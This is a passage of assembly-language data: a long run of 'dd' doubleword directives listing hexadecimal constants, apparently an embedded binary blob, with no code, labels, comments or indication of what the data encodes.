dd 0CFBFD40h, 3416346Ch, 801815E5h, 0DCB096D3h, 1F81F700h dd 0E8288BAh, 10A7B5Ch, 661A904Eh, 6083D09Eh, 0BE30E214h dd 0D7D4E02Eh, 4F7A09h, 0D45A5C5h, 0C35C45Ch, 70BD58h dd 0BF030E87h, 1B21BEh, 0A80AF62h, 9A1473EAh, 0A21A8901h dd 5BBA072Dh, 96BED8h, 7D0E8B75h, 37948440h, 0C821F200h dd 0C480500Fh, 7A509029h, 6D4C1C32h, 7BBC3A8h, 0CE80662h dd 0CA004F69h, 0E8017C4Eh, 2EF0D26Ch, 76B5F52h, 6F8B71h dd 0D5692A19h, 7424D600h, 0E3CE5EBh, 73940055h, 0A93FFFDDh dd 0B4484A23h, 0C9430096h, 9CB12E2Dh, 1A6201EAh, 93C48295h dd 0B2FE803Bh, 0B37521A9h, 3AF23A31h, 8746969Ch, 90343B9Ch dd 41FC3DB4h, 187CA12Ch, 3CD26842h, 0C75E280Ah, 0CA00A0C8h dd 6F351864h, 1C39F8BBh, 0C041FEB3h, 0DAF1851Eh, 870086D2h dd 0C9D7CC0h, 13C57697h, 3091D6FCh, 269F2934h, 6470A81Ch dd 0B009846Eh dd 0A2C4178h, 0F78E8823h, 7DDE9F20h, 0A3000F94h, 1259F078h dd 57291Bh, 0BFBA11CAh, 5B95A9DBh, 0E03F410Ch, 58EAF151h dd 0F30016ADh, 19C12CF7h, 450033B1h, 0B947AE9h, 5F744Ch dd 3B6B4303h, 828B0809h, 98801300h, 9F144081h, 38FC3EA9h dd 0C06C5800h, 90510EBFh, 54C9CE07h, 0A1300D2Ch, 4A5A53h dd 432FDBABh, 0EB443677h, 14A8461Eh, 5954A1C0h, 174A66h dd 0E2958FC8h, 0D9BDC558h, 0BA342500h, 0CBA497E1h, 643B006Fh dd 0AF4CFBD4h, 720BB401h, 100AC525h, 0E85B53D4h, 0B77904D7h dd 82109456h, 0B460408Ah, 1005289h, 2D95BEFDh, 798E2712h dd 0B07C5447h, 100E21B9h, 93842A40h, 79FF800Bh, 0F9CD0D1Fh dd 4C40381Dh, 89DF8C23h, 3C140074h, 73427551h, 1C925E59h dd 6C58A4E8h, 0DE048114h, 58818D27h, 83246E23h, 409AE555h dd 25BB57F8h, 20493800h, 51020D1Ah, 0FA621C21h, 0A2BF506Ah dd 244468h, 4DE81708h, 8F8E07C7h, 6BD3300h, 0EAA418AEh dd 1D289A74h, 40DD34B8h, 0D465F673h, 4A0005D5h, 97510C41h dd 0A33529h, 0AC75861Dh, 431E671Fh, 6F55DDF1h, 9C17C780h dd 0EFAD1E02h, 0C430803Fh, 955B9A07h, 0EA0F3Ah, 2E1053F5h dd 724061A1h, 0A9963AE8h, 0D6426707h, 0C0A07A77h, 0C1B3B4ABh dd 4F496909h, 0FF48605Dh, 624C0012h, 9CD0D775h, 0F9CFBE3Eh dd 4BA7E073h, 1905AB5h, 42C2979Fh, 47CA685Fh, 28A0DBE4h dd 111FDFB1h, 5E5DC1F2h, 0FB911FA4h, 400E2789h, 159BB8B8h dd 0CCCCFAEEh, 8F783201h, 0E14437EDh, 0DFC8D788h, 0E0193D1h dd 8E2509BAh, 0C289B29h, 0BF9D069Eh, 50070A3h, 0A05E98F4h dd 95191DBh, 0D1C967D7h, 0A5092380h, 8105B171h, 1C0693D5h dd 32E11C90h, 9F8601B2h, 5D3510C3h, 2A4FC033h, 61A43F35h dd 13288C8Ah, 7C30B0FCh, 808800D1h, 572BC896h, 0FB008EACh dd 0A730650Fh, 46CE4Dh, 6822695Ch, 0D14D225h, 0F3AAAB00h dd 82E3D1E2h, 62273A41h, 61F47B8Fh, 10766767h, 0C88D883Dh dd 0AE00DF74h, 0DCE01D4Fh, 0E2D8983h, 26BE9593h, 7FE03A8Fh dd 4CBA65Dh, 3B005771h, 0FAB3AD7Bh, 7F77FB32h, 0EE71036Eh dd 8F1CA696h, 9942D980h, 7CE46100h, 0E5C743E8h, 0FB010E0Eh dd 0D4616D88h, 0D8450428h, 2E0FB0A7h, 0E0C5421Eh, 960801F4h dd 5ED00069h, 0BDCBD4ADh, 64E21BB8h, 5C54A703h, 0B8A6A367h dd 246DCD05h, 0BD040436h, 98720FF8h, 0A7C9195Fh, 1730880h dd 5C3EAB59h, 0FEB287C7h, 7580A6DFh, 0C8BCA8h, 65BBAD94h dd 61884269h, 0B013D6E8h, 77075B9Dh, 39F68CC6h, 47840161h dd 0D9383E50h, 0D008CDF3h, 654CC917h, 11C01828h, 88784710h dd 0D8180F69h, 9C2A49ADh, 94A4000Bh, 3E9B8BA3h, 0DB001BDCh dd 0FBEEB486h, 1ED8FA8Ah, 0C8C56Bh, 0F28C2C4Ah, 0A016D3FFh dd 0E801F4D4h, 315EB3A6h, 0C06B8093h, 0A5018024h, 944BCF0Ch dd 6EA93Eh, 0C7A41FAh, 9A7C89BBh, 251B990Ch, 0BC2111h dd 0A69F8A43h, 3866292Ch, 90EE19C2h, 77985810h, 179700E5h dd 0D67C7196h, 0EF000A02h, 6A6495C1h, 809FB6h, 8C4D6674h dd 37F92798h, 53EA3807h, 1CE0CD26h, 8451F8h, 7C053068h dd 7A67F219h, 2709C6F8h, 572907A7h, 5F629280h, 600790EBh dd 0F312CE7Fh, 8807A2C1h, 9BF4E4h, 94817628h, 62AB6B14h dd 0A1A0C860h, 4D1ABFh, 0A9C443CFh, 67C6B1EBh, 0EF81E81Ch dd 28D730FCh, 7BED48B2h, 473806BAh, 19B8AAB6h, 0BC76F200h dd 950ACAADh, 0FF4D0102h, 743EDB9Dh, 2F38841Bh, 39C19187h dd 8C50845Dh, 0E2F1F0F8h, 0CC791C0Dh, 9D915F63h, 2C3580FDh dd 0D65513B4h, 3DB26C00h, 0CEAAB552h, 6D70C010h, 801A99DAh dd 0E8F22C00h, 5DE47D12h, 26720102h, 86CFFDC5h, 0BAB1FC1Eh dd 0AF16F501h, 231C3F68h, 8A1BD050h, 5E870758h, 619721CEh dd 0C573E7ECh, 10C2FC5Ah, 0E051E23Ah, 8AFD6FA9h, 69C9005Fh dd 0FA37E408h, 0CF00E1D9h, 1CCA3197h, 44D7A8h, 32B6A7F9h dd 37E325A4h, 22B7AB00h, 0E196274Ah, 3AE5002Bh, 83BCBD39h dd 0D2120DF8h, 0A0806046h, 0B39C3Fh, 5B85048Dh, 28A854B5h dd 1C7D8C00h, 654074BAh, 0A5AE0053h, 8EC4A94h, 951D87D1h dd 440CD6D9h, 742036h, 29419002h, 525807C9h, 9F9AD100h dd 0CE5D5C7Bh, 0D0A004Fh, 653F7078h, 0BD00B7F3h, 0F252FD7Ch dd 74BAEFB1h, 0AA008439h, 0CB485340h, 0FAB2768h, 7A923DE7h dd 458B0240h, 4C00152Eh, 0E63AD429h, 0E7F2C1h, 5F53B5Ch dd 4E53BCF0h, 756BA916h, 1057200Ch, 2E3400DFh, 1F6D73A5h dd 103A177Bh, 213E302Bh, 233F11h, 0EFC1A045h, 35F28515h dd 0F659BA06h, 6EC87EB7h, 4EAAA194h, 11105468h, 518E4017h dd 0A1DC78E0h, 8E00094Ah, 1D93E3CEh, 161BAC11h, 88912Bh dd 6E459AEFh, 3308792h, 5E7A7861h, 9432068Bh, 0E8389CFAh dd 3B87970Dh, 0B1C0200Ah, 8950003Ch, 0AF732676h, 0AE017C99h dd 323FE2D3h, 3C70EA8Dh, 0A59C004Dh, 859C803h, 5103EC11h dd 0A42ECE13h, 0FBE690EEh, 0F43C0FAAh, 0B4A0EFE2h, 0AFBF9B18h dd 0D61B5102h, 6027A0A3h, 70FA515h, 3389C087h, 0CE5AE0CDh dd 0DC00A19Bh, 0EE9701B1h, 4BA8A46Bh, 34C0FBB6h, 0EF53074h dd 0D498F96Eh, 48E8B320h, 1F00A850h, 0A4BFAB2Dh, 43CF2h dd 0BD327EDFh, 0A5D0976Ch, 0AB011FECh, 7B031B31h, 30811C15h dd 2F733717h, 0B1C5D091h, 0E8276B03h, 2C22A34Eh, 0CB1D20h dd 48E4C8D0h, 9300890Eh, 62F97F52h, 31261E7h, 321A55B5h dd 9860E1ABh, 3DB9B789h, 57C73AAAh, 89BF1060h, 0B2014478h dd 2D9C9893h, 10D09665h, 3A20C047h, 0AA9777A7h, 68641F00h dd 6FDBEE01h, 1346039Eh, 2E366C9Bh, 4D00617Eh, 0F5D13D52h dd 27ECBEh, 2F6E065Ch, 5BFE1817h, 4847D000h, 0D4C2CC29h dd 0A2A9CE6Ch, 9183A028h, 0E8FCDFECh, 30F32DFBh, 80203D7Bh dd 62F0516Ch, 0A47822Ch, 7DD91900h, 520D1h, 2FAB8EE8h dd 5CD034C6h, 0C492AE03h, 0C008B73Dh, 7A6FDFh, 0F599FFD1h dd 9E73F062h, 43981F00h, 9BCC477Bh, 88AD1C4Ah, 62E2804Ch dd 25ABE4B9h, 58FA0B3Dh, 223A0FDAh, 9EE36745h, 0FD42CEE0h dd 470C3CEDh, 0C0F6549Dh, 173EC4F5h, 32007658h, 90D4C011h dd 0C601FFh, 538681Eh, 0B0674615h, 807B413Ch, 82886F3Eh dd 1409B501h, 909A1F39h, 0C2437103h, 55C1157Eh, 1293E021h dd 69E46200h, 0A133269Eh, 3D0C0718h, 0C059C938h, 318EA465h dd 0CA30F90Bh, 3CD0982h, 0A5F57Ch, 48C9818h, 0EACF4407h dd 83707CE8h, 7E29B925h, 0DC430CA0h, 0E500D428h, 3287DDDFh dd 777C0A82h, 79EAB036h, 110F60B2h, 0B4D81068h, 0F26FBA03h dd 706ABE6Eh, 312A0008h, 0D88815DDh, 900795B7h, 2601F103h dd 44519A60h, 0C715E01Fh, 4CE7D3B8h, 270C0830h, 600B165Fh dd 7053E32h, 0F7331100h, 0AB79B47Fh, 4DF9A408h, 43E31E29h dd 159B1C36h, 0B056D6B0h, 0C45F5207h, 47E05DFFh, 79450F4h dd 4BA6519h, 3A030BDBh, 2E869027h, 0F495EA03h, 0A1363344h dd 528070FFh, 0AF1105B9h, 0B44CD01Ch, 0F9A307F6h, 1BF0E5A1h dd 582F5BE6h, 0B90083D2h, 3AA97D3Ch, 6D007414h, 70EC46FFh dd 1F441AC1h, 80DD5A93h, 2FAD76BAh, 0D400097Eh, 34C8537h dd 78C8D751h, 70570772h, 80D5915Dh, 6B542A58h, 0A7827F1Fh dd 24921D80h, 123EA8h, 0C4D7AF5Dh, 81C9571Fh, 77FE043Fh dd 0A8A22F00h, 0C3DD85E9h dd 0E84B07A6h, 608606F8h, 0E566CA22h, 801D463Eh, 0BA1802BBh dd 8F3624h, 0B41B8A44h, 0CA37108Eh, 94627C00h, 648BE6E2h dd 0DA140EF1h, 0C4EE1FB6h, 0E39F5898h, 1E9C61Fh, 77F68340h dd 3EC996Fh, 3258EE50h, 4BC054B2h, 0F900D2A4h, 0A98CF122h dd 51E033h, 0B35EF70Fh, 0FF23E68Ah, 0AEF6B900h, 6A5104Eh dd 223B0713h, 0A03CECF7h, 9DB96C62h, 78B10330h, 3394979h dd 35AE2816h, 0A9014A6Fh, 0A548F32Bh, 0E5EC5896h, 0A4620C0Bh dd 0BD58ADCFh, 0EEE3FA00h, 6DE9DAD5h, 5EF40063h, 98954F4Bh dd 0BF01D7C9h, 0D96364Eh, 0B880A9BEh, 0D005ADB1h, 0DF0142C4h dd 8E75B503h, 0E80BDEDh, 9914AC28h, 5100436Eh, 0D7A99F39h dd 0E8E69106h, 9EB500B6h, 2CE3ADA8h, 0C80FE149h, 0E082FE38h dd 9737BEFDh, 3062001Eh, 292B81CEh, 0EC014BBBh, 0D92C8963h dd 0B430D719h, 60C5741Eh, 3B672118h, 200EEC7Bh, 3F8EB310h dd 39848Fh, 6C158B40h, 745EB834h, 8F30C7F9h, 0F6C5A076h dd 36E0E131h, 0A978CD60h, 7C342344h, 794603E0h, 22762952h dd 6ABB0800h, 0DF6EDA8Eh, 0E66905ACh, 80131996h, 3BA7C48h dd 4B290560h, 48ABDC4Ch, 0EB003C74h, 179E9577h, 2200523Ah dd 971601FAh, 606866C8h, 0D4883031h, 0EB3AB406h, 0AECF00A0h dd 0A8CBF029h, 0D0BF0EF9h, 0C2FFAC98h, 2850B4DCh, 0D854DE60h dd 0ADC5400Bh, 1B82801Eh, 0EEFD7h, 0DD13A45Bh, 0C4FBEA49h dd 29908B60h, 0DCDEF1h, 0D884A020h, 774F5DFDh, 0B10F3176h dd 6764EA65h, 21F0E0F3h, 1D664Ah, 91CD125Ah, 1A0AEFF4h dd 0A756820Fh, 290DA047h, 0FB7F42h, 79E1DB9Ah, 14E7B0EBh dd 0E4CCAD00h, 0D94622F7h, 6F200041h, 38D67C3h, 0C8008744h dd 0ADBC3CDEh, 7C9A429h, 2D48D514h, 7E70A05Dh, 9500D80Eh dd 81EF786Bh, 70A504E4h, 7F83047Ch, 80389BA9h, 549A0AB8h dd 60647200h, 0A656E176h, 71D900F6h, 0A497E226h, 5C00A1EDh dd 74D6D3FFh, 0FA6B6Ah, 48091949h, 0B655E6BAh, 5BAE9200h dd 0EF4664F2h, 79D03A9Bh, 2FA11280h, 0DBDC7CC5h, 9DBA9000h dd 27D55217h, 5928004Fh, 0C48EC99Ch, 4500761Ch, 0E510A7C7h dd 2FA6BAh, 48B7F324h, 79BB6067h, 0D6079D2Eh, 0E7178600h dd 6B4D1Fh, 50157CF0h, 69B4EBC5h, 0C077E278h, 6CF1DA00h dd 4D1A3561h, 0F3C70173h, 0D5EB14CEh, 56D89C25h, 70347100h dd 607CCD65h, 5CC919A6h, 0B901BE8Ch, 1514A036h, 0B6FCBD2Bh dd 1B1800BCh, 9778A23Fh, 0F700B174h, 1C71AB4h, 0E643FBC8h dd 54D81ECEh, 0FE08004Eh, 10B786F8h, 9ADDC22Eh, 34930B3Dh dd 2CD70090h, 2622CDF2h, 0F0C2461h, 258039FBh, 8CF53CE8h dd 74065300h, 0EF081498h, 6B078h, 15A3F613h, 9237B0EAh dd 95ADB407h, 0C0EEBFC6h, 0BE1FF53Dh, 0AF710Ch, 40A75450h dd 0AE02D81Ah, 3C4DB400h, 0D7B98DADh, 1CD00A8h, 0C34A86AFh dd 97002FC6h, 0A631961Ch, 1B5F692h, 34DA07B9h, 714EAC0Eh dd 0D4F66099h, 166CA800h, 8F867F79h, 3D490039h, 26B42DC2h dd 0AE00EF83h, 78845077h, 13D21E8Dh, 7E7D529h, 4E2E54D7h dd 0E6436AC0h, 0BB001ABAh, 0B2771F98h, 3D267Dh, 799586ACh dd 0E6FF53E3h, 8F9A730Bh, 36A180A9h, 7F5D8B6h, 1D155EB8h dd 0FC37D561h, 0DDCA032Bh, 0C0760535h, 329D0F41h, 0C8199B30h dd 10C4049Dh, 0E7CBE383h, 6FF23F40h, 4F95001Bh, 50D2D15Ah dd 617F6751h, 47AB0600h, 0DE250A0Eh, 2B29C2EDh, 0E00FD274h dd 6049FCEh, 5C108447h, 27216E12h, 9EF4F504h, 9ADAD300h dd 0FC102507h, 63082D4Eh, 6908CFB8h, 284F940Fh, 2ABBB608h dd 0C8531F04h, 44EB4304h, 6342C55Bh, 0BB033C11h, 0BE291945h dd 40B7A1D4h, 3E832E14h, 0C4A7F780h, 5F5E36A1h, 4C520CA1h dd 8E627351h, 24F0E7A1h, 104C21BFh, 51EF299Ah, 0B75E658Bh dd 32162100h, 0B04E43F6h, 49CE0041h, 0AA99767Ch, 81001E47h dd 5D30230Fh, 357841h, 7B6A942Bh, 0BCE80246h, 8700D2E2h dd 528F1948h, 5A37Ch, 6EBE5856h, 0E8C43CEAh, 67D0B700h dd 555B84DAh, 734F3D09h, 6681D280h, 7FBD2DCCh, 0F1E9F300h dd 0A8AB93C3h, 4710C07Ch, 27A46AC8h, 89BEA93Eh, 62BAC0h dd 0B5293710h, 2C960595h, 0C00AF16Fh, 7807A934h, 69CD4B00h dd 836D180Dh, 0F40E0063h, 0EA92365Ah, 0C200E3C7h, 0E4F00A40h dd 16A82DCAh, 0E515872h, 17A32C07h, 8A8002F7h, 533ACB87h dd 262B80AAh, 36ABB910h, 0CE40048h, 4DDA3A85h, 391DD112h dd 49895204h, 0BD6020FDh, 0F7A7B0h, 6DE785C1h, 0BAC7FC4Bh dd 0E8B77A01h, 6882EFF6h, 1BA0CE80h, 6C0D93E2h, 2B7E6700h dd 0B3A48B3Ah, 1A3600C3h, 535745CCh, 5830C43Fh, 0BFD9D05Fh dd 52BC002Ch, 0B5D38774h, 8000C46h, 47F4C90Ah, 7B3956FFh dd 0F2430014h, 9D73885Bh, 83F6B9DBh, 9368F900h, 7FAB180h dd 0E9FC00DDh, 0DCBAB6E6h, 6100CE2Fh, 172ACDD5h, 0F86863h dd 0E43C70DFh, 0DD9462BEh, 493D8307h, 0A531318Bh, 30B80CB1h dd 0BFF60280h, 0B4A09C3Fh, 3C6B1707h, 86A09528h, 54FAE1h dd 0AB2B5997h, 2F7A5C33h, 9F3D3E00h, 33B0BAEh, 0E15E0A3Ch dd 0A0088Ah, 0F706F50Ah, 0B006381h, 73A11E2Ah, 13DC0C5Ah dd 42D7A5h, 76E1205Fh, 7A00E5B0h, 7F758293h, 0C4CA23h dd 1F325926h, 92E3493Bh, 0BE2B4700h, 0C589B156h, 8D350728h dd 10FFB6CEh, 76A61E9Ah, 0B9424Dh, 634E3E43h, 0E8CD215Ch dd 0E2410074h, 0D9BE4DFAh, 0CC01ABC4h, 84A59051h, 1080D199h dd 0C6FE411Fh, 4A0002BCh, 0E97BD59Ah, 0C0E09Fh, 1C296424h dd 5912211Fh, 82807201h, 17E5FC62h, 92A102FCh, 11DA001Ch dd 82AA54EEh, 5998101Ch, 0BDB38F05h, 648080A3h, 4437F0h dd 1C8A1DC5h, 2394D1F3h, 220071E8h, 0D388CC3h, 0B8593E3Fh dd 532000A6h, 7CE51E58h, 0E1014063h, 3EE04FDAh, 90E87D83h dd 0B76D000Ah, 4A6EFC7Ah, 2B3071F2h, 5B930C98h, 0E3EF0003h dd 5DE1FB55h, 4203B0D3h, 0C1D5FF26h, 661BE17Bh, 0B4F5F0E7h dd 369D005Eh, 0B1677DA4h, 4B3FAF33h, 2B2F805Dh, 579E3893h dd 0DD740170h, 0B06EBA60h, 194BD0A6h, 0C80BF600h, 4E689781h dd 38E70189h, 0D854912Ah, 0BFA3704Ah, 1E7C5739h, 0E4C08C42h dd 0A14B8086h, 0BAC10027h, 64AAC2FAh, 0A601D508h, 2838AE84h dd 0B8FF0922h, 356A7Eh, 6814A50Dh, 0BB4599B5h, 8B4C4D01h dd 2FE9D71Ah, 52A6BD40h, 0E38A0032h, 7791E4BCh, 5A00861Eh dd 895F2F38h, 158CFD8h, 1B6A04F1h, 0D75C446Dh, 0E8E693B7h dd 8DBB9180h, 26F4800h, 7E1632ACh, 0D89438F2h, 0E6376000h dd 1CE4BF4Eh, 7C0994Ch, 0ADC9A06Eh, 0AB2E30C0h, 0F1B53F76h dd 4CA691Fh, 0C08ED10Ch, 7FEF3EEFh, 35EE400h, 4FF1AAC6h dd 0B0090050h, 0CF374C07h, 5400B5EFh, 365CFBD7h, 9E570Dh dd 538B8202h, 132F7244h, 8D471700h, 0A197B83Ah, 0CA71001Eh dd 60CF204Ah, 0D2008490h, 0A62348C0h, 0B55285h, 0B70B8FE4h dd 0D3DA12BCh, 0B0361E00h, 9B87830Ah, 31C800D1h, 2EF7EF16h dd 4D047540h, 0DFF07C48h, 0BB5DE080h, 586600EDh, 30330543h dd 280FA9C8h, 20CC5B6Eh, 0EF2BCFF7h, 21D101C3h, 0B0068548h dd 46A5E81Eh, 0C69D1F1Ch, 5F365700h, 182C65h, 566FE7A2h dd 741C4651h, 0DB0F8300h, 8C6C04B2h, 1FDD00E2h, 9A700B58h dd 0B803FF82h, 0CF2AC1E7h, 6032F83Ch, 1A641CB0h, 4E52C08Bh dd 0CDE044E8h, 1CF2DC04h dd 5488217Ch, 0D1130C1Ah, 3D806DD6h, 0FD3CA712h, 56589C00h dd 29D0CFh, 0A2DC90CEh, 0E89A199Dh, 1EA0CD3Fh, 0CA0051AFh dd 7BEA4C6Bh, 0ECCE48A1h, 1EF8A83Eh, 8075D7C9h, 0D121440Bh dd 0D9000D46h, 1D9C848Dh, 0C2A58Bh, 0AD0BC4B2h, 3213857Fh dd 4B3C06B0h, 870E80EBh, 0E16F6E77h, 0CB5F3F74h, 12095E80h dd 0D7CCA04h, 0DD0F9209h, 0B2650025h, 46F581h, 4E21D0A1h dd 7BC73850h, 39402300h, 0DD9A51ADh, 0C6B900F0h, 71CB5B89h dd 3207996Ch, 8DB8953Ch, 0B835E673h, 7B7B9CEh, 7194799Ah dd 4BAA2026h, 9807A8C4h, 47E42BC1h, 0A64044E1h, 5B0F6D4h dd 8A071078h, 5B208015h, 8B07D408h, 58A43B84h, 625F030h dd 0D1D2003Ch, 0F22D9C73h, 561EB334h, 5E43C575h, 984DD56Fh dd 0FF72CEh, 0DD97100Eh, 0DE49CA06h, 53A52507h, 0FDB067B0h dd 1E9EAFh, 680715FFh, 82B5F663h, 900A674h, 0ACA531E9h dd 7BEB6EADh, 39C301D8h, 8778486Ah, 1BB7FC4Fh, 6D882650h dd 8AA38005h, 0D080E7D7h, 3F8E3DEh, 6FC5E0B0h, 4AD024ABh dd 0A401815Fh, 0BC0496D1h, 0AF2186C4h, 0E429A06Ah, 0BFE2B200h dd 2D15EBA0h, 84D400EDh, 8D0F4638h, 57282694h, 7E3AFF24h dd 0E40D8003h, 84512AF2h, 0CDF400F3h, 1013A06Ah, 0BD0FD22Ch dd 0E0099E25h, 6118BCC1h, 0EF520FD8h, 0BF2BD15Ch, 0FD40EA00h dd 0DDF987EAh, 0DDC570A7h, 7985C800h, 74840A19h, 86980762h dd 0F24BDC3Dh, 6640FC7Bh, 0BD05B0B7h, 33CB03A6h, 49BC480h dd 6829007Eh, 0AB118701h, 0BDEC09A7h, 0CBB42C00h, 0CE7E77E9h dd 0C41B2E63h, 323AD064h, 10FD7200h, 144FCE98h, 9E871E67h dd 2AA10333h, 1426A337h, 0B30226E2h, 6081D020h, 1C9DD45h dd 0B154FF55h, 0F02E09A9h, 5200B98Fh, 94C5B67Ch, 4FF364h dd 27DEA00Bh, 0E1A0CCDh, 0E6FDEF00h, 0A8812CE1h, 0E0431C48h dd 0BD524098h, 90E3893Dh, 0A572AB00h, 0A727055Ch, 4B7436h dd 4A597C5Dh, 6769DB0Ah, 0ACE59926h, 54261C00h, 1477F561h dd 0B0D829A8h, 964A3E02h, 350055DDh, 728C83h, 6142F95Bh dd 6E5266C2h, 51346D14h, 2B8800B4h, 30FC1538h, 0C18A00CDh dd 424EE65h, 0B13F1EDFh, 0C23F8073h, 0A6793E61h, 0B0A250A0h dd 5A220BBEh, 44003DABh, 31E61EB7h, 446A1400h, 509FD747h dd 0E0D30090h, 391F082Fh, 2D7F3F17h, 934A54Ch, 38A38693h dd 899460h, 3BCA9BF5h, 7D5D1FABh, 0D4119100h, 0DD2AFFB1h dd 5F8C0018h, 0E90B287Ch, 0A601ACC5h, 2C996451h, 54F889A2h dd 0E05D0076h, 3ECE2434h, 0FB4862D0h, 80C83F7Ch, 0B4F973DDh dd 0A94BF7h, 0A8FFDCDBh, 280FA591h, 0AB00CB7Bh, 4D794E11h dd 249363E3h, 6BB95Fh, 5449FBE0h, 4214F07Eh, 1B0C06Fh dd 1539BD25h, 5C24F53Eh, 7769814h, 0D896EBD1h, 1050171Bh dd 0DE2D6747h, 0FEAB1500h, 0B1DCD4F3h, 5E0F0045h, 0C547BDB9h dd 2614193Ch, 2B0A5B0h, 0A93928AEh, 0A3601252h, 30035BA8h dd 7BE4BEF2h, 66B0C733h, 2F0C9Ch, 0C1692B79h, 4D3964CCh dd 3AEDE41Dh, 5210BC28h, 471FBB26h, 13EFC07Eh, 0BA6232A2h dd 80677538h, 0D6B17B70h, 3174FBh, 8ACE5C9Ah, 931726DBh dd 7D981F00h, 0D167E6Dh, 975D017Bh, 0FED533C5h, 1B0BE8B5h dd 7C3B8900h, 317F64Fh, 2F40692h, 0D0DF206Eh, 4D596A2Eh dd 0E9D0B000h, 3658DB1h, 0AFE0C13h, 8FF09AEFh, 7C00C78Bh dd 16543210h, 50937799h, 0B9B4B2h, 0C317807Dh, 71728BB5h dd 6FF04600h, 77754791h, 97E4D5h, 844F9AE1h, 0AD023CB7h dd 0C8433800h, 0B5FBA33Dh, 1CC50F8Fh, 0E9A2130Bh, 3204C4FFh dd 0C92F80FEh, 74007BDCh, 0F3675304h, 2786AAh, 0FEDDC1FCh dd 3E1B22C4h, 90F05C5Ah, 0D39E09E6h, 5B804CF3h, 0FE3827E4h dd 0CA05F501h, 0D587D4F8h, 16698420h, 0B03ABC35h, 9300FFC8h dd 1BE0FB54h, 0F8C0B6h, 36F47E22h, 0CDF6D2CFh, 0AF1E3Ah dd 67DB3D2Dh, 0C7E040h, 0A59D25B8h, 0FF7A0422h, 0AA341700h dd 3B9A99Eh, 0D2E9074Fh, 0DED189DBh, 2086AE80h, 0C0032DCEh dd 38A161AAh, 3B9BB094h, 0F5A0C4F6h, 976C028h, 250FB913h dd 0E203E65Dh, 60B3EA02h, 2D3EEACh, 1822CCEDh, 11C013D8h dd 0AC079770h, 0C83F594Bh, 0D31F37B0h, 9D6F0BBAh, 4C000838h dd 77ECE1A9h, 8023533Fh, 22BB71B1h, 2980E7Dh, 3D645FC7h dd 50E094CBh, 2A017C72h, 27E7DD14h, 0FFC174Eh, 869C0002h dd 6BA8A252h, 0DD00928Ch, 87C0966Ah, 7D05CCCh, 0BB47DCD8h dd 720EF31h, 3B4B1E6h, 6516AD13h, 9BE48Ch, 0E532E1C0h dd 1F0E21F3h, 26A0C600h, 5653A449h, 151838C8h, 9067BE81h dd 60179CA1h, 660EB4E0h, 6049558Bh, 0DCF614B0h, 106060B2h dd 0D5FF85E8h, 4D7C4000h, 0A1AB9312h, 0B5423EE2h, 0E4CC1080h dd 0B3524C4Fh, 8738003h, 0C70564CAh, 6626EE50h, 4BE53DA4h dd 0D698004Bh, 76F99D17h, 0C400424Bh, 0BE6E2D61h, 0FCCD003Fh dd 396AA148h, 6D48E9FBh, 20870060h, 0CE71850Ah, 0AD150058h dd 2937C88h, 0F9007424h, 5F2B25A3h, 7DE7172Ch, 0B22230A1h dd 4F21DD88h, 0CB0059FAh, 0FE66731Bh, 1C574742h, 80A77BC8h dd 528FB71h, 321F50A1h, 0B4C0F774h, 0FD734E79h, 383B0035h dd 0EC6A6D37h, 67182280h, 19ECFF4h, 47CE01C3h, 0B6A011EFh dd 97EC3086h, 0F576C800h, 2DC2DB8Fh, 0D310310h, 14BD2E45h dd 9E888CF0h, 9D0086EAh, 6D5344E9h, 0E85A0Ch, 0C5C18D6Fh dd 41CCAED2h, 1A00F098h, 0A0FDA2EBh, 0D37886h, 8D1F32E2h dd 0CA0B4E4Fh, 0AB588100h, 0C15CDA4h, 2F9C01B0h, 8DFEC475h dd 43F2F4E7h, 0F9190800h, 5BCA63C5h, 0A0AD2E64h, 88218040h dd 0AA60439Dh, 5222B102h, 400E9606h, 380BA56Ch, 8D821E85h dd 0A78A4EB2h, 532674C8h, 1103AB7Bh, 43E74B89h, 3B182671h dd 0FE2E0111h, 2053A6D1h, 4006BF3h, 14342B6Ch, 733307C0h dd 0AA00027h, 0FFCF62F7h, 0F89BABF8h, 243F7400h, 0AA9590h dd 0E90ED7BFh, 399B30A2h, 0DC038200h, 0FBD29C6Fh, 0D7BE04D3h dd 0B0BFCFE8h, 0CD728D34h, 87903Dh, 0FA3020A5h, 3F9FB6C6h dd 0C94C212h, 1B0FFC4Fh, 0EF8159B2h, 0CCF03B7Dh, 3D00F251h dd 0A75D860h, 0E8B18AAh, 997C97E6h, 6381BE87h, 0B1C0F9E7h dd 0C6382F7Bh, 2D6A8091h, 0EC04DA9Ah, 133498EFh, 40E9D46Ch dd 0C94A5B84h, 2D01A664h, 937E845Fh, 2432B975h, 5440B1Ch dd 81BD983Ah, 60AB8BF0h, 0F9393951h, 21468033h, 38DE2FCFh dd 2B7B3C95h, 2E171800h, 81333F5Eh, 0E120E505h, 0B4C3F0EBh dd 715DA053h, 0D72200D1h, 0BFB325AFh, 0BC009094h, 0F6A04D8Bh dd 0FAADD5h, 187971Ah, 33C3DDB1h, 8F00E37Eh, 0EF300215h dd 1C4F4DB2h, 3A03C6D9h, 12A97C00h, 0E7275D08h, 8000E871h dd 2F17A29Bh, 5BC499h, 0FA194BF5h, 188FEB14h, 8B00E071h dd 0A47A3BE7h, 0DC0F90h, 85A65ED7h, 0FEBB5B23h, 2B096200h dd 0FD480AECh, 5D5800F5h, 6CE19A56h, 92766D0Ch, 7DAF260Eh dd 4E450127h, 0FAC48695h, 0CE6A0090h, 131CBC74h, 0F9EDA52Dh dd 4CF0E665h, 1A8B8701h, 688372ACh, 1F4E0C20h, 31A1F2h dd 5CE8F532h, 2E1D0D10h, 9800FC9h, 469FE4D1h, 0FEC80055h dd 28B987A0h, 7000C5B0h, 0D0B21CB1h, 335C3EAh, 89FD18AEh dd 45F28B4Eh, 0D80DF740h, 0E392CD1Fh, 9B0E7A2Ch, 0D47FC0DAh dd 1AEE5B7h, 0C0A04E0Ch, 78075433h, 111C27CCh, 68341230h dd 0B8FB00D0h, 0A5FC09AEh dd 0E1FE1ABEh, 635BB400h, 256BF171h, 5A8B013Ah, 0ADC16FCBh dd 0D412E0EAh, 0C02812Ch, 341E9201h, 11CC2E8Fh, 3AEA7D5Eh dd 8D009987h, 0DC9C5974h, 0EC002D9Eh, 3CB59DBCh, 0A2BA47h dd 97F6AE4Bh, 415ADD5Eh, 7E4F7700h, 0DFB30C10h, 0B7C303BFh dd 1D1285B4h, 0C99E40B0h, 56BB4F00h, 52B372D4h, 45FB00D5h dd 0A1B210ADh, 1513BCC1h, 1D1F21EAh, 7CB5DB80h, 1E55E696h dd 8E50CECDh, 1201F6Eh, 